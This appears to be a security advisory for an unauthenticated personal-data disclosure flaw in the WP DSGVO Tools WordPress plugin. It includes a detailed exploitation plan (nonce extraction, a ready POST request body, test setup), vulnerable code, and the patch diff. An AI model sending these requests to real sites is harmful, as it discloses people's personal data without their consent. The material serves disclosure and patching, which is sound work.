WP DSGVO Tools (GDPR) <= 3.1.39 - Missing Authorization to Unauthenticated Sensitive Personal Data Disclosure via subject-access-request AJAX Endpoint (process_now/is_ajax Parameters)
Description
The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.1.39. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to supply an arbitrary victim email address and trigger immediate SAR processing via the process_now and is_ajax parameters, receiving tokenized download links (zip_link, pdf_link) in the HTTP response that expose the victim's personal data — including WordPress account details, comment author names, email addresses, IP addresses, and comment content — without any proof of ownership. The nonce used for the CSRF check is publicly rendered by the SAR shortcode form and is shared across all anonymous visitors, meaning any unauthenticated attacker can trivially obtain a valid nonce and bypass this gate entirely.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=3.1.39What Changed in the Fix
Changes introduced in v3.1.40
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-10034 ## 1. Vulnerability Summary **Vulnerability:** Missing Authorization to Unauthenticated Sensitive Personal Data Disclosure. **Component:** `WP DSGVO Tools (GDPR)` plugin, specifically the Subject Access Request (SAR) AJAX handling logic. **Vulnerable Ver…
Show full research plan
Exploitation Research Plan: CVE-2026-10034
1. Vulnerability Summary
Vulnerability: Missing Authorization to Unauthenticated Sensitive Personal Data Disclosure.
Component: WP DSGVO Tools (GDPR) plugin, specifically the Subject Access Request (SAR) AJAX handling logic.
Vulnerable Version: <= 3.1.39.
Root Cause: The SPDSGVOSubjectAccessRequestAction class, which handles the subject-access-request AJAX action, lacks sufficient authorization and identity verification. While it implements a CSRF check, the nonce required is rendered on public-facing pages to unauthenticated users and is not tied to a specific user session or email address. By providing the process_now and is_ajax parameters, an attacker can force the plugin to immediately generate a data export for any email address and return the download links directly in the AJAX response.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
subject-access-request(bothwp_ajax_andwp_ajax_nopriv_are likely registered via theSPDSGVOAjaxAction::listen()mechanism). - Authentication: Unauthenticated.
- Parameters:
action:subject-access-request(Required)email: The target victim's email address (Required)dsgvo_checkbox: Must be1(Required)process_now: Must be1to trigger immediate data collection (Required)is_ajax: Must be1to receive the links in the JSON response (Required)nonce(or_wpnonce): A valid nonce for thesubject-access-requestaction (Required)website: Must be empty (Honeypot check)first_name/last_name: Arbitrary strings.
3. Code Flow
- Entry Point: An unauthenticated POST request is sent to
admin-ajax.phpwithaction=subject-access-request. - Action Initialization:
SPDSGVOSubjectAccessRequestAction::listen()(inpublic/shortcodes/subject-access-request/subject-access-request-action.php) triggers therun()method. - Honeypot Check:
if(!empty($_POST['website'])) die();ensures the honeypot field is empty. - CSRF Check:
$this->checkCSRF();validates the provided nonce. Since the nonce is generated foruid=0on public pages, any visitor can obtain a valid one. - Data Insertion:
SPDSGVOSubjectAccessRequest::insert()creates a new SAR record in the database. - Immediate Processing: Because
process_nowis present,$sar->doSubjectAccessRequest($displayEmail)is called inincludes/models/subject-access-request.php.- This calls
SPDSGVODataCollecter->sar(), which aggregates WordPress user data, comments, and metadata associated with the provided email. - It generates PDF and JSON files in the
wp-content/uploadsdirectory.
- This calls
- JSON Response: Because
is_ajaxis present, the plugin executes:echo wp_json_encode(array( 'success' => '1', 'zip_link' => SPDSGVODownloadSubjectAccessRequestAction::url(...), 'pdf_link' => SPDSGVODownloadSubjectAccessRequestAction::url(...), )); - Data Disclosure: The attacker receives the
zip_linkcontaining a tokenized URL to download the victim's personal data.
4. Nonce Acquisition Strategy
The nonce is required to pass the checkCSRF() gate.
- Identify Shortcode: The plugin uses the shortcode
[subject-access-request](inferred from file structure) to render the SAR form. - Create Trigger Page: Use WP-CLI to create a public page containing this shortcode.
wp post create --post_type=page --post_status=publish --post_title="GDPR Request" --post_content='[subject-access-request]' - Extract Nonce:
- Navigate to the newly created page.
- The plugin likely uses
wp_localize_scriptto provide the AJAX URL and nonce to the frontend. - Based on standard patterns in this plugin, inspect the global JavaScript objects.
- Recommended JS Eval:
browser_eval("window.sp_dsgvo_data?.nonce")or inspecting the hidden input field in the form:browser_eval("document.querySelector('input[name=\"nonce\"]').value"). - The action string used for generation is
subject-access-request.
5. Exploitation Strategy
- Pre-requisite: Obtain the nonce from the public shortcode page.
- Trigger SAR: Send a POST request to the AJAX endpoint.
- Tool:
http_request - URL:
{{base_url}}/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=subject-access-request&email=victim@example.com&dsgvo_checkbox=1&process_now=1&is_ajax=1&nonce={{extracted_nonce}}&website=&first_name=Attacker&last_name=Researcher
- Tool:
- Capture Links: Parse the JSON response to extract the
zip_linkorpdf_link. - Download Data: Perform a GET request to the extracted
zip_linkto retrieve the SAR package.
6. Test Data Setup
- Create Victim User:
wp user create victim victim@example.com --role=subscriber --user_pass=password123 - Add Victim Data:
wp comment create --comment_post_ID=1 --comment_author="Victim User" --comment_author_email="victim@example.com" --comment_content="This is sensitive personal information." - Deploy Shortcode: (As described in Section 4)
wp post create --post_type=page --post_status=publish --post_content='[subject-access-request]'
7. Expected Results
- The AJAX POST request should return a
200 OKwith a JSON body. - Example Response:
{ "success": "1", "zip_link": "http://localhost:8080/wp-admin/admin-ajax.php?action=download-subject-access-request&token=XXXXXXXXXXXX&file=zip", "pdf_link": "http://localhost:8080/wp-admin/admin-ajax.php?action=download-subject-access-request&token=XXXXXXXXXXXX&file=pdf" } - Accessing the
zip_linkshould initiate a file download of a ZIP archive containing a PDF with the victim's comment and user metadata.
8. Verification Steps
- Check Uploads Directory: Verify the SAR files were created.
ls -R wp-content/uploads/ | grep SAR - Verify SAR Record: Check the
subjectaccessrequestpost type in the database.wp post list --post_type=subjectaccessrequest --fields=ID,post_title,post_status - Confirm Content: Use
curlor a browser to download the file from thezip_linkand verify it contains "This is sensitive personal information."
9. Alternative Approaches
- Token Prediction: If the AJAX response is suppressed, note that the
tokenis generated usingself::randomString(20)inincludes/models/subject-access-request.php. While 20 characters of0-9a-zA-Zis generally secure, theprocess_nowpath is the primary bypass as it returns the token directly. - Display Email Parameter: The
doSubjectAccessRequestmethod accepts a$displayEmailparameter. Ifdisplay_email=1is passed in the POST request, the plugin may echo the entire email content (rendered viawp_kses_post($email->render())) directly into the AJAX response, providing another channel for data disclosure.
Summary
The WP DSGVO Tools (GDPR) plugin is vulnerable to an authorization bypass where unauthenticated attackers can obtain sensitive personal data of any user by providing their email address. By exploiting the AJAX endpoint with specific parameters, the plugin generates and returns download links for data exports containing account details and private metadata without verifying the requester's identity.
Vulnerable Code
// public/shortcodes/subject-access-request/subject-access-request-action.php lines 11-60 $this->checkCSRF(); // ... lines 39-43: Allows unauthenticated users to trigger immediate data collection if($this->has('process_now')){ $displayEmail = ($this->get('display_email', '0') == '1'); $sar->doSubjectAccessRequest($displayEmail); } // ... lines 48-60: Returns direct download links in the AJAX response if is_ajax is provided if($this->has('is_ajax')){ echo wp_json_encode(array( 'success' => '1', 'zip_link' => SPDSGVODownloadSubjectAccessRequestAction::url(array( 'token' => $sar->token, 'file' => 'zip', )), 'pdf_link' => SPDSGVODownloadSubjectAccessRequestAction::url(array( 'token' => $sar->token, 'file' => 'pdf', )), )); } --- // public/shortcodes/subject-access-request/download-subject-access-request.php lines 13-35 $this->sar = SPDSGVOSubjectAccessRequest::finder('token', array( 'token' => $this->get('token') )); if(is_null($this->sar)){ $this->error(__('Bad token provided.', 'shapepress-dsgvo')); } // No authorization check occurs before serving the files switch($this->get('file', 'zip')){ case 'json': $json = $this->sar->json_path; $this->download($json); break; // ...
Security Fix
@@ -181,17 +187,72 @@ return preg_replace('/\s+/', '', sprintf('SAR-%s-%s-%s.%s', ucfirst($this->first_name), ucfirst($this->last_name), $this->ID, $extension)); } - public static function randomString($len = 20){ + public static function randomString($len = 20){ $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for($i = 0; $i < $len; $i++){ $randomString .= $characters[rand(0, $charactersLength - 1)]; } - return $randomString; - } - - public function buildPDF(){ + return $randomString; + } + + public function issueDownloadKey($ttl = NULL){ + if($ttl === NULL){ + $ttl = defined('DAY_IN_SECONDS') ? DAY_IN_SECONDS : 86400; + } + + $downloadKey = wp_generate_password(48, FALSE, FALSE); + $this->download_key_hash = wp_hash_password($downloadKey); + $this->download_expires_at = (string) (current_time('timestamp') + absint($ttl)); + $this->download_used_at = ''; + $this->save(); + + return $downloadKey; + } + + public function hasValidDownloadKey($downloadKey){ + if(empty($downloadKey) || empty($this->download_key_hash)){ + return FALSE; + } + + if(!empty($this->download_used_at)){ + return FALSE; + } + + $expiresAt = intval($this->download_expires_at); + if($expiresAt > 0 && current_time('timestamp') > $expiresAt){ + return FALSE; + } + + return wp_check_password($downloadKey, $this->download_key_hash); + } + + public function consumeDownloadKey(){ + $this->download_used_at = (string) current_time('timestamp'); + $this->download_key_hash = ''; + $this->download_expires_at = ''; + $this->save(); + } + + public function isOwnedByCurrentUser(){ + if(!is_user_logged_in()){ + return FALSE; + } + + $user = wp_get_current_user(); + if(!$user || empty($user->ID)){ + return FALSE; + } + + if(!empty($this->owner_user_id) && intval($this->owner_user_id) === intval($user->ID)){ + return TRUE; + } + + return !empty($this->email) && strcasecmp($this->email, $user->user_email) === 0; + } + + public function buildPDF(){ if(!class_exists( 'DSGVOTCPDF' )){ require_once SPDSGVO::pluginDir('includes/lib/tcpdf/DSGVOTCPDF.php'); @@ -35,7 +36,7 @@ __('A new subject access request from ','shapepress-dsgvo') .' '.$this->get('email')."' was made."); } - if($this->has('process_now')){ + if($this->has('process_now') && current_user_can('administrator')){ $displayEmail = ($this->get('display_email', '0') == '1'); $sar->doSubjectAccessRequest($displayEmail); } @@ -44,7 +45,8 @@ $this->returnBack(); } - if($this->has('is_ajax')){ + /* we dont return the response directly to browser + if($this->has('is_ajax') && current_user_can('administrator')){ echo wp_json_encode(array( 'success' => '1',
Exploit Outline
The exploit target the `subject-access-request` AJAX action which is available to unauthenticated users. 1. **Nonce Acquisition**: An attacker visits any public page containing the `[subject-access-request]` shortcode. Because the nonce is shared among anonymous visitors, it can be extracted from the rendered HTML or JavaScript. 2. **Triggering the SAR**: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action `subject-access-request`, the victim's email, and the extracted nonce. Crucially, they include `process_now=1` and `is_ajax=1`. 3. **Data Retrieval**: The plugin immediately collects the victim's personal data (including account metadata, comment history, and IP addresses) into PDF/JSON files and responds with a JSON object containing direct download links. 4. **Download**: The attacker visits the provided `zip_link` to download the exported files. No additional authentication or email verification is required to complete the download in vulnerable versions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.